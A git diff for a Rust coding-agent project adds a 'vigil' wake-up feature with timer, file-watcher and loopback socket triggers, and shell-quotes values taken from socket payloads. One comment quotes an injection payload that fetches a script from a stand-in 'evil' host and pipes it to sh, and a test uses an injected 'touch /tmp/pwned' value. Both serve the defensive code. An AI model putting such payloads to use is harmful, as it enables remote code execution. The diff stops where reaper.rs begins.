diff --git a/.osv-scanner.toml b/.osv-scanner.toml index 78d3c69b..d5b2ebab 100644 --- a/.osv-scanner.toml +++ b/.osv-scanner.toml @@ -1,3 +1,7 @@ [[IgnoredVulns]] id = "RUSTSEC-2025-0057" reason = "fxhash is a transitive dep of bm25; no maintained fork exists that preserves the required hash32/hash64 API" + +[[IgnoredVulns]] +id = "RUSTSEC-2024-0384" +reason = "instant is a transitive dep of notify-types → notify (dirge's watch dep); unmaintained, no drop-in fork yet — notify maintainers are tracking web-time migration" diff --git a/Cargo.lock b/Cargo.lock index 6084c568..3c7d1d51 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1346,6 +1346,7 @@ dependencies = [ "libc", "libkrun-sys", "lsp-types", + "notify", "notify-rust", "nucleo-matcher", "once_cell", @@ -1602,7 +1603,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" dependencies = [ "libc", - "windows-sys 0.52.0", + "windows-sys 0.61.2", ] [[package]] @@ -1698,6 +1699,16 @@ version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24" +[[package]] +name = "filetime" +version = "0.2.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759" +dependencies = [ + "cfg-if", + "libc", +] + [[package]] name = "find-msvc-tools" version = "0.1.9" @@ -2501,6 +2512,26 @@ dependencies = [ "rustversion", ] +[[package]] +name = "inotify" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdd168d97690d0b8c412d6b6c10360277f4d7ee495c5d0d5d5fe0854923255cc" +dependencies = [ + "bitflags 1.3.2", + "inotify-sys", + "libc", +] + +[[package]] +name = "inotify-sys" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c033f80b2c113cdf91ab7a33faa9cbc014726dcad99880c8609af2a370edf37d" +dependencies = [ + "libc", +] + [[package]] name = "inout" version = "0.2.2" @@ -2524,6 +2555,15 @@ dependencies = [ "syn 2.0.119", ] +[[package]] +name = "instant" +version = "0.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" +dependencies = [ + "cfg-if", +] + [[package]] name = "internal-russh-num-bigint" version = "0.5.0" @@ -2753,6 +2793,26 @@ dependencies = [ "rand_core 0.10.1", ] +[[package]] +name = "kqueue" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d763e5b24120b4ddf50de6c92308156765aabfbbccebf401da7cff2d70a41ea" +dependencies = [ + "kqueue-sys", + "libc", +] + +[[package]] +name = "kqueue-sys" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07293a4e297ac234359b510362495713f75ea345d5307140414f20c69ffeb087" +dependencies = [ + "bitflags 2.13.1", + "libc", +] + [[package]] name = "lazy_static" version = "1.5.0" @@ -3045,6 +3105,24 @@ dependencies = [ "memchr", ] +[[package]] +name = "notify" +version = "7.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c533b4c39709f9ba5005d8002048266593c1cfaf3c5f0739d5b8ab0c6c504009" +dependencies = [ + "bitflags 2.13.1", + "filetime", + "inotify", + "kqueue", + "libc", + "log", + "mio", + "notify-types", + "walkdir", + "windows-sys 0.52.0", +] + [[package]] name = "notify-rust" version = "4.18.0" @@ -3059,6 +3137,15 @@ dependencies = [ "zbus", ] +[[package]] +name = "notify-types" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "585d3cb5e12e01aed9e8a1f70d5c6b5e86fe2a6e48fc8cd0b3e0b8df6f6eb174" +dependencies = [ + "instant", +] + [[package]] name = "ntapi" version = "0.4.3" @@ -4340,7 +4427,7 @@ dependencies = [ "errno", "libc", "linux-raw-sys", - "windows-sys 0.52.0", + "windows-sys 0.61.2", ] [[package]] @@ -4396,7 +4483,7 @@ dependencies = [ "security-framework", "security-framework-sys", "webpki-root-certs", - "windows-sys 0.52.0", + "windows-sys 0.61.2", ] [[package]] @@ -5154,7 +5241,7 @@ dependencies = [ "getrandom 0.4.3", "once_cell", "rustix", - "windows-sys 0.52.0", + "windows-sys 0.61.2", ] [[package]] @@ -6054,7 +6141,7 @@ version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" dependencies = [ - "windows-sys 0.52.0", + "windows-sys 0.61.2", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index 30fb9ea4..418aafd8 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -129,7 +129,7 @@ no-plugin = [ # The release workflow builds the Windows target with this set. windows-default = ['no-plugin'] loop = [] -vigil = [] +vigil = ["dep:notify"] # Run dirge itself as an MCP server (`dirge mcp`) so another agent (e.g. # Claude Code) can delegate implementation tasks to dirge and review them. # Pulls rmcp's server side + stdio transport + the tool macros. @@ -343,6 +343,7 @@ lsp-types = { version = "0.97", optional = true } tree-sitter-elixir = { version = "0.3.5", optional = true } tree-sitter-sequel = { version = "0.3", optional = true } tree-sitter-dafny = { version = "0.1", optional = true } +notify = { version = "7", optional = true, default-features = false, features = ["macos_kqueue"] } rusqlite = { version = "0.40", features = ["bundled"] } # DAP (Debug Adapter Protocol) — optional feature for driving # debuggers (lldb-dap, dlv, debugpy, node) to fix crashes instead diff --git a/src/cli.rs b/src/cli.rs index f2f47de1..0666a72c 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -254,6 +254,31 @@ pub struct Cli { )] pub loop_run: Option, + #[cfg(feature = "vigil")] + #[arg( + long = "vigil", + help = "Run in vigil heartbeat/wakeup mode (requires vigils in config)" + )] + pub vigil_mode: bool, + + #[cfg(feature = "vigil")] + #[arg(long = "vigil-config", help = "Path to a vigil JSON config file")] + pub vigil_config: Option, + + #[cfg(feature = "vigil")] + #[arg( + long = "vigil-once", + help = "Run vigil headlessly: wait for one observance, run one agent turn, then exit" + )] + pub vigil_once: bool, + + #[cfg(feature = "vigil")] + #[arg( + long = "vigil-once-command", + help = "Invoke this registered plugin command (e.g. poll-jenkins) after the vigil bridge is live, before waiting for an observance" + )] + pub vigil_once_command: Option, + #[arg( long = "auto-confirm", value_enum, diff --git a/src/extras/dirge_paths.rs b/src/extras/dirge_paths.rs index 2f632047..92d3126a 100644 --- a/src/extras/dirge_paths.rs +++ b/src/extras/dirge_paths.rs @@ -126,6 +126,13 @@ impl ProjectPaths { self.dirge_dir().join("skills") } + /// `.dirge/vigils/` — vigil definition files (one JSON file per vigil). + #[cfg(feature = "vigil")] + #[allow(dead_code)] + pub fn vigils_dir(&self) -> PathBuf { + self.dirge_dir().join("vigils") + } + /// `.dirge/sessions/` — SQLite session database and transcripts. pub fn sessions_dir(&self) -> PathBuf { self.dirge_dir().join("sessions") diff --git a/src/extras/mod.rs b/src/extras/mod.rs index 9f8628ee..b5c70133 100644 --- a/src/extras/mod.rs +++ b/src/extras/mod.rs @@ -43,3 +43,6 @@ pub mod skill_db; pub mod skills; pub mod spec_db; pub mod vigil_db; + +#[cfg(feature = "vigil")] +pub mod vigil; diff --git a/src/extras/vigil/dispatch.rs b/src/extras/vigil/dispatch.rs new file mode 100644 index 00000000..86384cd9 --- /dev/null +++ b/src/extras/vigil/dispatch.rs @@ -0,0 +1,284 @@ +//! Dispatch logic for vigil observances. +//! +//! In `commands` socket mode, the caller provides a command name; this module +//! looks it up in the pre-registered command map and substitutes `{arg_name}` +//! placeholders from the socket payload. +#![allow(dead_code)] + +use std::collections::HashMap; + +use crate::config::VigilCommand; + +use super::types::CoalescedBatch; + +/// Substitute vigil context into a prompt template. +/// +/// Supported variables: +/// - `{name}` — vigil name +/// - `{files}` — comma-separated changed file paths +/// - `{events}` — comma-separated event kinds +/// - `{event_count}` — number of events in this reap window +/// - `{timestamp}` — ISO 8601 reap time +/// - `{rite_output}` — stdout+stderr from rite command +/// - `{rite_exit_code}` — exit code from rite command +/// - `{harbinger_data}` — raw socket payload (first connection in window) +/// - Any `{key}` matching a string field in the merged event context objects +pub fn build_prompt(template: &str, batch: &CoalescedBatch) -> String { + let mut result = template.to_string(); + + let files = batch.files.join(", "); + let event_types: Vec<&str> = batch + .events + .iter() + .filter_map(|e| e.get("kind").and_then(|v| v.as_str())) + .collect(); + let events = event_types.join(", "); + let timestamp = batch.timestamp.to_rfc3339(); + let rite_output = batch.rite_output.as_deref().unwrap_or(""); + let rite_exit_code = batch + .rite_exit_code + .map_or(String::new(), |c| c.to_string()); + let harbinger_data = batch.harbinger_data.as_deref().unwrap_or(""); + + result = result.replace("{name}", &batch.vigil_name); + result = result.replace("{files}", &files); + result = result.replace("{events}", &events); + result = result.replace("{event_count}", &batch.event_count.to_string()); + result = result.replace("{timestamp}", ×tamp); + result = result.replace("{rite_output}", rite_output); + result = result.replace("{rite_exit_code}", &rite_exit_code); + result = result.replace("{harbinger_data}", harbinger_data); + + // Substitute any remaining {key} placeholders from merged event context + for event in batch.events.iter().rev() { + if let serde_json::Value::Object(map) = event { + for (key, val) in map { + if key == "kind" || key == "harbinger_data" || key == "files" { + continue; + } + let val_str = match val { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + result = result.replace(&format!("{{{}}}", key), &val_str); + } + } + } + + result +} + +/// Dispatch a named command from the pre-registered map. +/// Substitutes `{arg_name}` string templates in argument values from the payload. +pub fn dispatch_commands( + commands: &HashMap, + command_name: &str, + payload: &serde_json::Value, +) -> Result<(String, serde_json::Map), String> { + let cmd = commands + .get(command_name) + .ok_or_else(|| format!("unknown command: {command_name}"))?; + + let mut resolved_args = serde_json::Map::new(); + for (key, val) in &cmd.args { + let resolved = resolve_templates(val, payload); + resolved_args.insert(key.clone(), resolved); + } + + Ok((cmd.tool.clone(), resolved_args)) +} + +fn resolve_templates(value: &serde_json::Value, payload: &serde_json::Value) -> serde_json::Value { + match value { + serde_json::Value::String(s) => { + let resolved = substitute_placeholders(s, payload); + serde_json::Value::String(resolved) + } + serde_json::Value::Object(map) => { + let mut new_map = serde_json::Map::new(); + for (k, v) in map { + new_map.insert(k.clone(), resolve_templates(v, payload)); + } + serde_json::Value::Object(new_map) + } + _ => value.clone(), + } +} + +/// Single-quote a substituted value so it stays inert when the resolved +/// command string is handed to `sh -c` in the reaper. Substitution values are +/// untrusted (they arrive over a socket payload), so a bare splice is a +/// command-injection vector: `{message}` → `'; curl http://evil/x.sh | sh; echo '`. +fn shell_quote(s: String) -> String { + format!("'{}'", s.replace('\'', "'\\''")) +} + +fn substitute_placeholders(template: &str, payload: &serde_json::Value) -> String { + let mut result = template.to_string(); + if let serde_json::Value::Object(map) = payload { + let args = map.get("args"); + let source = args.unwrap_or(payload); + + if let serde_json::Value::Object(source_map) = source { + // Find patterns like {arg_name} and substitute from source_map + let mut start = 0; + while let Some(brace_start) = result[start..].find('{') { + let abs_start = start + brace_start; + if let Some(brace_end) = result[abs_start..].find('}') { + let abs_end = abs_start + brace_end; + let key = &result[abs_start + 1..abs_end]; + if let Some(val) = source_map.get(key) { + let raw = match val { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + let replacement = shell_quote(raw); + result.replace_range(abs_start..=abs_end, &replacement); + start = abs_start + replacement.len(); + } else { + start = abs_end + 1; + } + } else { + break; + } + } + } + } + result +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::extras::vigil::types::TriggerKind; + use serde_json::json; + + fn make_commands() -> HashMap { + let mut map = HashMap::new(); + map.insert( + "build".to_string(), + VigilCommand { + tool: "bash".to_string(), + args: { + let mut args = serde_json::Map::new(); + args.insert( + "command".to_string(), + serde_json::Value::String("cargo build {release_flag}".to_string()), + ); + args + }, + }, + ); + map + } + + #[test] + fn test_dispatch_known_command() { + let commands = make_commands(); + let payload = json!({"command": "build", "args": {"release_flag": "--release"}}); + let result = dispatch_commands(&commands, "build", &payload).unwrap(); + assert_eq!(result.0, "bash"); + assert_eq!( + result.1.get("command").unwrap().as_str().unwrap(), + "cargo build '--release'" + ); + } + + #[test] + fn test_dispatch_shell_quotes_injected_values() { + let commands = make_commands(); + let payload = + json!({"command":"build","args":{"release_flag":"--release; touch /tmp/pwned"}}); + let result = dispatch_commands(&commands, "build", &payload).unwrap(); + assert_eq!( + result.1.get("command").unwrap().as_str().unwrap(), + "cargo build '--release; touch /tmp/pwned'" + ); + } + + #[test] + fn test_dispatch_unknown_command() { + let commands = make_commands(); + let payload = json!({"command": "delete_everything"}); + assert!(dispatch_commands(&commands, "delete_everything", &payload).is_err()); + } + + #[test] + fn test_substitute_missing_key_leaves_placeholder() { + let commands = make_commands(); + let payload = json!({"command": "build", "args": {}}); + let result = dispatch_commands(&commands, "build", &payload).unwrap(); + assert_eq!( + result.1.get("command").unwrap().as_str().unwrap(), + "cargo build {release_flag}" + ); + } + + #[test] + fn test_build_prompt_substitutes_variables() { + let batch = CoalescedBatch { + vigil_name: "test-vigil".to_string(), + files: vec!["src/main.rs".to_string()], + events: vec![json!({"kind": "toll"})], + event_count: 3, + timestamp: chrono::DateTime::parse_from_rfc3339("2026-01-15T12:00:00Z") + .unwrap() + .with_timezone(&chrono::Utc), + trigger: TriggerKind::Toll, + rite_output: Some("rite output".to_string()), + rite_exit_code: Some(0), + harbinger_data: None, + }; + let template = "[{name}] {event_count} events on {files} ({events}) - {timestamp}"; + let result = build_prompt(template, &batch); + assert_eq!( + result, + "[test-vigil] 3 events on src/main.rs (toll) - 2026-01-15T12:00:00+00:00" + ); + } + + #[test] + fn test_build_prompt_empty_template_returns_empty() { + let batch = CoalescedBatch { + vigil_name: "v".to_string(), + files: vec![], + events: vec![], + event_count: 0, + timestamp: chrono::Utc::now(), + trigger: TriggerKind::Toll, + rite_output: None, + rite_exit_code: None, + harbinger_data: None, + }; + let template = ""; + let result = build_prompt(template, &batch); + assert_eq!(result, ""); + } + + #[test] + fn test_build_prompt_substitutes_event_context_fields() { + let batch = CoalescedBatch { + vigil_name: "jenkins-remediate".to_string(), + trigger: TriggerKind::Toll, + files: vec![], + events: vec![json!({ + "kind": "toll", + "job": "my-pipeline", + "build_number": "42", + "url": "http://jenkins:8080/job/my-pipeline/42", + "status": "FAILURE" + })], + event_count: 1, + timestamp: chrono::Utc::now(), + rite_output: None, + rite_exit_code: None, + harbinger_data: None, + }; + let template = "Job: {job}\nBuild: #{build_number}\nURL: {url}\nStatus: {status}"; + let result = build_prompt(template, &batch); + assert_eq!( + result, + "Job: my-pipeline\nBuild: #42\nURL: http://jenkins:8080/job/my-pipeline/42\nStatus: FAILURE" + ); + } +} diff --git a/src/extras/vigil/harbinger.rs b/src/extras/vigil/harbinger.rs new file mode 100644 index 00000000..d6f10f7e --- /dev/null +++ b/src/extras/vigil/harbinger.rs @@ -0,0 +1,150 @@ +//! Harbinger trigger — listens on a TCP or Unix socket for external wake-up +//! signals. Each accepted connection is read (with a 5s timeout), parsed as JSON, +//! and pushed as an event into the vigil's channel. +//! +//! Security: only binds to loopback (127.0.0.1) for TCP; `commands` mode requires +//! a non-empty command map. +#![allow(dead_code)] + +use std::collections::HashMap; +use std::net::{Ipv4Addr, SocketAddrV4}; + +use tokio::io::{AsyncBufReadExt, BufReader}; +use tokio::net::TcpListener; +use tokio::sync::mpsc; +use tracing::{error, warn}; + +use crate::config::VigilCommand; + +use super::dispatch::dispatch_commands; +use super::types::{HookDispatchRequest, TriggerKind, VigilEvent}; + +/// Spawn a harbinger trigger listening on `port` (TCP, loopback-only). +/// `commands_map` must be non-empty when `socket_mode` is Commands. +/// Dispatches `on-vigil-event` hook before pushing each accepted connection. +pub fn spawn_harbinger( + vigil_name: String, + port: u16, + commands_map: HashMap, + has_commands: bool, + tx: mpsc::Sender, + hook_tx: mpsc::Sender, +) -> Result, String> { + let addr = SocketAddrV4::new(Ipv4Addr::LOCALHOST, port); + let listener = std::net::TcpListener::bind(addr) + .map_err(|e| format!("bind {addr} for {vigil_name}: {e}"))?; + listener + .set_nonblocking(true) + .map_err(|e| format!("set nonblocking for {vigil_name}: {e}"))?; + let listener = TcpListener::from_std(listener) + .map_err(|e| format!("convert listener for {vigil_name}: {e}"))?; + + Ok(tokio::spawn(async move { + loop { + match listener.accept().await { + Ok((stream, peer)) => { + let vigil = vigil_name.clone(); + let cmds = commands_map.clone(); + let tx = tx.clone(); + let hook_tx = hook_tx.clone(); + tokio::spawn(async move { + match tokio::time::timeout( + std::time::Duration::from_secs(5), + handle_connection(stream, &vigil, &cmds, &tx, &hook_tx, has_commands), + ) + .await + { + Ok(Ok(())) => {} + Ok(Err(e)) => { + error!(%vigil, %peer, "harbinger connection error: {e}"); + } + Err(_) => { + warn!(%vigil, %peer, "harbinger connection timed out"); + } + } + }); + } + Err(e) => { + error!(%vigil_name, "accept error: {e}"); + // Transient errors (ECONNABORTED, EMFILE under fd pressure) + // must not kill the listener. Back off briefly and retry. + tokio::time::sleep(std::time::Duration::from_millis(100)).await; + } + } + } + })) +} + +async fn handle_connection( + stream: tokio::net::TcpStream, + vigil_name: &str, + commands_map: &HashMap, + tx: &mpsc::Sender, + hook_tx: &mpsc::Sender, + has_commands: bool, +) -> Result<(), String> { + let peer = stream.peer_addr().map_err(|e| format!("peer addr: {e}"))?; + let reader = BufReader::new(stream); + let mut lines = reader.lines(); + + let line = lines + .next_line() + .await + .map_err(|e| format!("read from {peer}: {e}"))? + .unwrap_or_default(); + + let payload: serde_json::Value = + serde_json::from_str(&line).map_err(|e| format!("parse json from {peer}: {e}"))?; + + // In `commands` mode, validate and resolve the command. + let mut context = payload.clone(); + if has_commands { + if let Some(command_name) = payload.get("command").and_then(|v| v.as_str()) { + let (tool, args) = dispatch_commands(commands_map, command_name, &payload) + .map_err(|e| format!("dispatch command '{command_name}': {e}"))?; + // Enrich context with resolved tool dispatch. + if let serde_json::Value::Object(ref mut map) = context { + map.insert( + "_resolved_tool".to_string(), + serde_json::Value::String(tool), + ); + map.insert( + "_resolved_args".to_string(), + serde_json::Value::Object(args), + ); + } + } else { + return Err("commands mode requires 'command' field in payload".to_string()); + } + } + + // Store raw payload for {harbinger_data} template substitution + if let serde_json::Value::Object(ref mut map) = context { + map.insert( + "harbinger_data".to_string(), + serde_json::Value::String(line.clone()), + ); + } + + let event = VigilEvent { + vigil_name: vigil_name.to_string(), + trigger: TriggerKind::Harbinger, + context, + timestamp: chrono::Utc::now(), + }; + + let hook_ctx = format!("@{{:vigil \"{}\" :trigger :harbinger}}", vigil_name); + let _ = hook_tx.try_send(HookDispatchRequest { + hook_name: "on-vigil-event".into(), + context: hook_ctx, + }); + + if let Err(mpsc::error::TrySendError::Full(_)) = tx.try_send(event) { + warn!( + vigil = %vigil_name, + "harbinger queue full, dropping event" + ); + } + + Ok(()) +} diff --git a/src/extras/vigil/mod.rs b/src/extras/vigil/mod.rs new file mode 100644 index 00000000..debdc852 --- /dev/null +++ b/src/extras/vigil/mod.rs @@ -0,0 +1,403 @@ +//! Vigil heartbeat/wakeup runtime. +//! +//! Public API: +//! - `VigilKeeper::from_entries()` — build keeper from config entries. +//! - `VigilKeeper::run()` — start the reaper and all triggers, return when shutdown. +//! +//! Internal modules: +//! - `types` — VigilEvent, VigilInstance, VigilCtl +//! - `rite` — gate check evaluation +//! - `dispatch` — commands-mode template substitution +//! - `toll` — timer trigger +//! - `watcher` — filesystem trigger +//! - `harbinger` — socket trigger +//! - `reaper` — event drain + coalesce + observance dispatch + +pub mod dispatch; +pub mod harbinger; +pub mod reaper; +pub mod rite; +pub mod toll; +pub mod types; +pub mod watcher; + +use std::sync::Arc; +use std::sync::atomic::AtomicBool; + +use tokio::sync::mpsc; +use tracing::{info, warn}; + +use crate::config::VigilEntry; + +use self::reaper::Observance; +use self::types::{ + HookDispatchRequest, TriggerKind, VigilCtl, VigilEvent, VigilInstance, VigilReapInput, +}; + +/// Simple runtime state for vigil mode — exposed to the UI loop so it knows +/// whether to sleep between observances and carries pending observance data +/// so the post-turn handler can dispatch on-vigil-observance with :response. +#[allow(dead_code)] // consumed by the interactive TUI loop (slice 3) +pub struct VigilState { + pub active: bool, + /// If set, the current agent turn is a vigil observance. The post-turn + /// handler reads this to dispatch `on-vigil-observance` with the agent's + /// response text. Cleared after dispatch. + pub pending_observance: Option, +} + +/// Metadata for a vigil observance that will fire after the agent turn. +#[derive(Debug, Clone)] +#[allow(dead_code)] // consumed by the interactive TUI loop (slice 3) +pub struct PendingObservance { + pub vigil_name: String, + pub event_count: usize, + pub running: std::sync::Arc, +} + +/// Format the `on-vigil-observance` hook context string, escaping the vigil +/// name and agent response for the Janet `@{...}` template. +pub fn observance_context(vigil_name: &str, event_count: usize, response: &str) -> String { + let escaped_name = vigil_name.replace('\\', "\\\\").replace('"', "\\\""); + let escaped_response = response.replace('\\', "\\\\").replace('"', "\\\""); + format!( + "@{{:vigil \"{}\" :count {} :response \"{}\" :exit :ok}}", + escaped_name, event_count, escaped_response + ) +} + +/// The vigil-keeper — owns all active vigils, starts triggers, runs the reaper. +pub struct VigilKeeper { + pub vigils: Vec, + #[allow(dead_code)] + pub ctl_tx: Option>, + pub observance_rx: Option>, + /// Untyped wake channel — fires on every observance so the select! loop + /// (which can't cfg-gate arms) can wake and drain the typed receiver. + pub wake_rx: Option>, + /// Hook dispatch channel — trigger producers and reaper send hook requests; + /// the UI loop drains them. + pub hook_rx: Option>, + /// Janet plugin event sender — installed into the plugin bridge at startup. + /// Plugins call `(vigil/emit name data)` and the keeper routes events to + /// the correct vigil's event queue. + #[allow(dead_code)] + pub vigil_plugin_tx: Option>, +} + +impl VigilKeeper { + /// Build a vigil-keeper from config entries. Creates per-vigil channels + /// and spawns trigger tasks. + pub fn from_entries( + entries: Vec, + paused_names: std::collections::HashSet, + ) -> Result { + let (ctl_tx, ctl_rx) = mpsc::channel::(32); + let (obs_tx, obs_rx) = mpsc::channel::(64); + let (wake_tx, wake_rx) = mpsc::unbounded_channel::<()>(); + let (hook_tx, hook_rx) = mpsc::channel::(64); + + let mut vigils = Vec::new(); + let mut reap_inputs: Vec = Vec::new(); + + for entry in entries { + let (tx, rx) = types::make_vigil_channel(256); + let running = Arc::new(AtomicBool::new(false)); + + let name = entry.name.clone(); + if entry.reap_interval_secs == 0 { + return Err(format!( + "vigil {name}: reap_interval_secs must be greater than zero" + )); + } + if let crate::config::VigilTrigger::Toll { interval_secs: 0 } = &entry.trigger { + return Err(format!( + "vigil {name}: toll interval_secs must be greater than zero" + )); + } + let interval = entry.reap_interval_secs; + let prompt = entry.prompt.clone(); + let procession = entry.procession.clone(); + + let trigger_kind = match &entry.trigger { + crate::config::VigilTrigger::Toll { .. } => TriggerKind::Toll, + crate::config::VigilTrigger::Watcher { .. } => TriggerKind::Watcher, + crate::config::VigilTrigger::Harbinger { .. } => TriggerKind::Harbinger, + }; + + // Spawn trigger(s) based on type. + match entry.trigger { + crate::config::VigilTrigger::Toll { interval_secs } => { + toll::spawn_toll(name.clone(), interval_secs, tx.clone(), hook_tx.clone()); + } + crate::config::VigilTrigger::Watcher { path, .. } => { + let watch_path = std::path::PathBuf::from(&path); + if let Err(e) = watcher::spawn_watcher( + name.clone(), + watch_path, + tx.clone(), + hook_tx.clone(), + ) { + warn!(%name, "failed to spawn watcher, skipping vigil: {e}"); + continue; + } + } + crate::config::VigilTrigger::Harbinger { + address, + protocol, + socket_mode, + commands, + } => { + let port: u16 = address + .strip_prefix("127.0.0.1:") + .or_else(|| address.strip_prefix("localhost:")) + .and_then(|p| p.parse().ok()) + .unwrap_or(0); + if port == 0 { + return Err(format!( + "vigil {name}: invalid harbinger address '{address}'" + )); + } + + if !protocol.is_empty() && protocol != "tcp" { + return Err(format!( + "vigil {name}: unsupported harbinger protocol '{protocol}' (only 'tcp' is supported)" + )); + } + + let has_commands = matches!(socket_mode, crate::config::SocketMode::Commands); + if has_commands && commands.is_empty() { + return Err(format!( + "vigil {name}: commands mode requires non-empty commands map" + )); + } + + if let Err(e) = harbinger::spawn_harbinger( + name.clone(), + port, + commands, + has_commands, + tx.clone(), + hook_tx.clone(), + ) { + warn!(%name, "failed to spawn harbinger, skipping vigil: {e}"); + continue; + } + } + } + + let rite = entry.rite.clone(); + + vigils.push(VigilInstance { + name: name.clone(), + reap_interval_secs: interval, + prompt: prompt.clone(), + procession: procession.clone(), + tx: tx.clone(), + running: running.clone(), + }); + + reap_inputs.push(VigilReapInput { + name: name.clone(), + trigger: trigger_kind, + reap_interval_secs: interval, + rx, + running, + rite, + prompt, + procession, + }); + } + + // Build a map of vigil name → sender for procession chaining. + let senders: std::collections::HashMap> = vigils + .iter() + .map(|v| (v.name.clone(), v.tx.clone())) + .collect(); + + // Clone senders for the Janet plugin bridge router so plugins + // calling (vigil/emit name data) can push events into any vigil's queue. + let router_senders = senders.clone(); + let (vigil_plugin_tx, mut vigil_plugin_rx) = mpsc::channel::(256); + tokio::spawn(async move { + while let Some(msg) = vigil_plugin_rx.recv().await { + match msg.split_once('\t') { + Some((name, payload)) => { + if let Some(sender) = router_senders.get(name) { + let context: serde_json::Value = serde_json::from_str(payload) + .unwrap_or_else(|_| serde_json::json!({"data": payload})); + let event = VigilEvent { + vigil_name: name.to_string(), + trigger: crate::extras::vigil::types::TriggerKind::Toll, + context, + timestamp: chrono::Utc::now(), + }; + if sender.try_send(event).is_err() { + warn!(%name, "vigil plugin event queue full, dropping"); + } + } else { + warn!(%name, "vigil/emit for unknown vigil, dropping event"); + } + } + None => { + warn!("vigil/emit received malformed message, dropping"); + } + } + } + }); + + // Launch the reaper in a background task. + let reaper_wake_tx = wake_tx; + let reaper_hook_tx = hook_tx; + tokio::spawn(async move { + let paused = paused_names; + reaper::run_reaper( + reap_inputs, + obs_tx, + ctl_rx, + Some(reaper_wake_tx), + senders, + reaper_hook_tx, + paused, + ) + .await; + }); + + Ok(Self { + vigils, + ctl_tx: Some(ctl_tx), + observance_rx: Some(obs_rx), + wake_rx: Some(wake_rx), + hook_rx: Some(hook_rx), + vigil_plugin_tx: Some(vigil_plugin_tx), + }) + } + + /// Build a vigil-keeper from config entries + `.dirge/vigils/*.json` files. + /// Filesystem entries are merged by name; config entries win on collision. + pub fn from_config_and_filesystem( + entries: Vec, + paused_names: std::collections::HashSet, + ) -> Result { + let mut merged = entries; + + // Scan .dirge/vigils/*.json for filesystem-defined vigils. + let cwd = std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")); + let vigils_dir = crate::extras::dirge_paths::ProjectPaths::new(&cwd).vigils_dir(); + #[allow(clippy::collapsible_if)] + if vigils_dir.is_dir() { + if let Ok(readdir) = std::fs::read_dir(&vigils_dir) { + for entry in readdir.flatten() { + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) != Some("json") { + continue; + } + match std::fs::read_to_string(&path) { + Ok(content) => match serde_json::from_str::(&content) { + Ok(file_entry) => { + // Config wins — only add if not already present. + let name = &file_entry.name; + if !merged.iter().any(|e| e.name == *name) { + let file_path = path.display(); + info!(%name, file = %file_path, "imported vigil from filesystem"); + merged.push(file_entry); + } else { + info!(%name, "vigil from filesystem skipped: config entry wins on name collision"); + } + } + Err(e) => { + let file_path = path.display(); + warn!(file = %file_path, "invalid vigil JSON, skipping: {e}"); + } + }, + Err(e) => { + let file_path = path.display(); + warn!(file = %file_path, "cannot read vigil file, skipping: {e}"); + } + } + } + } + } + + // Import vigils added via `dirge vigil add` / `/vigil add`, which are + // persisted to the SQLite store rather than config or the filesystem + // dir. Without this the add paths are dead ends: the keeper would never + // load them. Config/filesystem entries win on name collision, and + // `list_non_resting` already excludes vigils the user put to rest. + let db_path = crate::extras::dirge_paths::ProjectPaths::new(&cwd).session_db_path(); + if db_path.exists() + && let Ok(store) = crate::extras::vigil_db::VigilStore::open_at(&db_path) + { + for row in store.list_non_resting().unwrap_or_default() { + let name = row.name.clone(); + match serde_json::from_str::(&row.payload_json) { + Ok(db_entry) => { + if !merged.iter().any(|e| e.name == name) { + info!(%name, "imported vigil from store"); + merged.push(db_entry); + } else { + info!(%name, "vigil from store skipped: config/filesystem entry wins on name collision"); + } + } + Err(e) => { + warn!(%name, "invalid vigil payload in store, skipping: {e}"); + } + } + } + + // DB state is authoritative even when the payload came from + // config or a filesystem file (which win on name collision + // above): a vigil laid to rest must not be reaped on the next + // run. `list_non_resting` only covers store-only vigils, so + // drop any merged entry whose DB row is resting. + merged.retain(|e| { + let resting = matches!( + store.get(&e.name), + Ok(Some(crate::extras::vigil_db::VigilRow { + status: crate::extras::vigil_db::VigilStatus::Resting, + .. + })) + ); + if resting { + info!(name = %e.name, "vigil laid to rest - skipping on next run"); + } + !resting + }); + } + + Self::from_entries(merged, paused_names) + } + + /// Signal the reaper to stop. + #[allow(dead_code)] + pub async fn shutdown(&self) { + if let Some(ref tx) = self.ctl_tx { + let _ = tx.send(VigilCtl::Shutdown).await; + } + info!("vigil-keeper shutdown complete"); + } +} + +#[cfg(test)] +mod tests; + +#[cfg(test)] +mod observance_context_tests { + use super::observance_context; + + #[test] + fn formats_simple_event() { + assert_eq!( + observance_context("jenkins-remediate", 2, "done"), + "@{:vigil \"jenkins-remediate\" :count 2 :response \"done\" :exit :ok}" + ); + } + + #[test] + fn escapes_quotes_and_backslashes() { + assert_eq!( + observance_context("a\"b", 1, "c\\d"), + "@{:vigil \"a\\\"b\" :count 1 :response \"c\\\\d\" :exit :ok}" + ); + } +} diff --git a/src/extras/vigil/reaper.rs b/src/extras/vigil/reaper.rs new file mode 100644 index 00000000..3cf6ffb7 --- /dev/null +++ 